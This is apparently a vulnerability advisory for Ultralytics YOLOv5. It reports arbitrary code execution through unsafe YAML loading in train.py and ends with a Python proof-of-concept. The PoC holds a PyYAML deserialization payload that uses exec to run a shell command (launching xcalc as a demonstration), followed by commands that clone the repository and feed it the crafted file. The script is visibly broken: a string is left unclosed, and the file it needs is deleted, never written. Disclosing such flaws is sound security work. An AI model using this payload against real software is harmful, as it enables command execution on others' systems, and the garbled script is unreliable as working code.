vulnerability arbitrary code execution
severity 3.8
language python
registry other


Arbitrary Code Excecution in ultralytics/yolov5. Yolov5 is a Object Detection model from Ultralytics. Ultralytics is a U.S.-based particle physics and AI startup with over 6 years of expertise supporting government, academic and business clients. Ultralytics offer a wide range of vision AI services, spanning from simple expert advice up to delivery of fully customized, end-to-end production solutions.

Technical Description

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml. **NOTE : ** the fix iis to be done in train.py

Exploit code

Python File

import os
exploit = '''!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
os.system('git clone https://github.com/ultralytics/yolov5.git')
os.system('rm exploit.yml')
os.system('python train.py --data exploit.yml --cfg exploit.yml --weights "" --batch-size 24')


  • Run the exploit code